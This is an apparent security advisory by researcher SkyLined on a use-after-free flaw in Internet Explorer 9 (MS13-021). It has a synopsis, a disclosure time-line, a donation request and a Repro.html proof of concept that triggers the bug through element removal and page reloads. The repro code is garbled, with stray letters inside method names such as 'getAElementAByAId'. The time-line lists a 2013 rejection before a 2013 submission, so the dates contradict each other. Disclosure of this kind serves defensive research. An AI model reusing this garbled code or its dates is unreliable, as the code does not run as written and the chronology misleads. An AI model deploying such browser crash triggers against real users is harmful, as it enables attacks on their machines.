Microsoft Internet Explorer 9 suffers from an IEFRAME CView::EnsureSize use-after-free vulnerability.
b2b5dd78f0f70a011a14a49e1cdf07f680ec3894719937a451b916e0f5444cad
Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 34th entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161216001.html. There you can find a repro
that triggered this issue in addition to the information below.
If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.
Follow me on http://twitter.com/berendjanwever for daily browser bugs.
MSIE 9 IEFRAME CView::EnsureSize use-after-free
===============================================
(MS13-021, CVE-2013-0090)
Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. I did not investigate this
vulnerability thoroughly, so I cannot speculate on the potential impact
or exploitability.
Known affected software and attack vectors
------------------------------------------
* Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.
Details
-------
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. ZDI
revealed that this was a use-after-free vulnerability in their advisory
at http://www.zerodayinitiative.com/advisories/ZDI-13-097/.
Time-line
---------
* Sometime in October 2012: This vulnerability was found through
fuzzing.
* 29 October 2012: This vulnerability was submitted to EIP.
* 27 November 2013: This vulnerability was rejected by EIP.
* 14 January 2013: This vulnerability was submitted to ZDI.
* 6 February 2013: This vulnerability was acquired by ZDI.
* 13 February 2013: This vulnerability was disclosed to Microsoft by
ZDI.
* 29 May 2013: This vulnerability was address by Microsoft in MS13-021.
* 14 December 2016: Details of this vulnerability are released.
Cheers,
SkyLined
Repro.html
<!DOCTYPE html>
<html>
<head>
<script defer>
var oAElement = document.getAElementAByAId("ruby");
var oAElement = oAElement.parentANode.removeAChild(oAElement);
document.write("<abbr></abbr>");
document.documentAElement.offsetATop;
setATimeout("location.reload()", 100);
</script>
</head>
<body>
<abbr dir="ltr">
<ruby id="ruby" dir="rtl">
</ruby>
</abbr>
</body>
</html>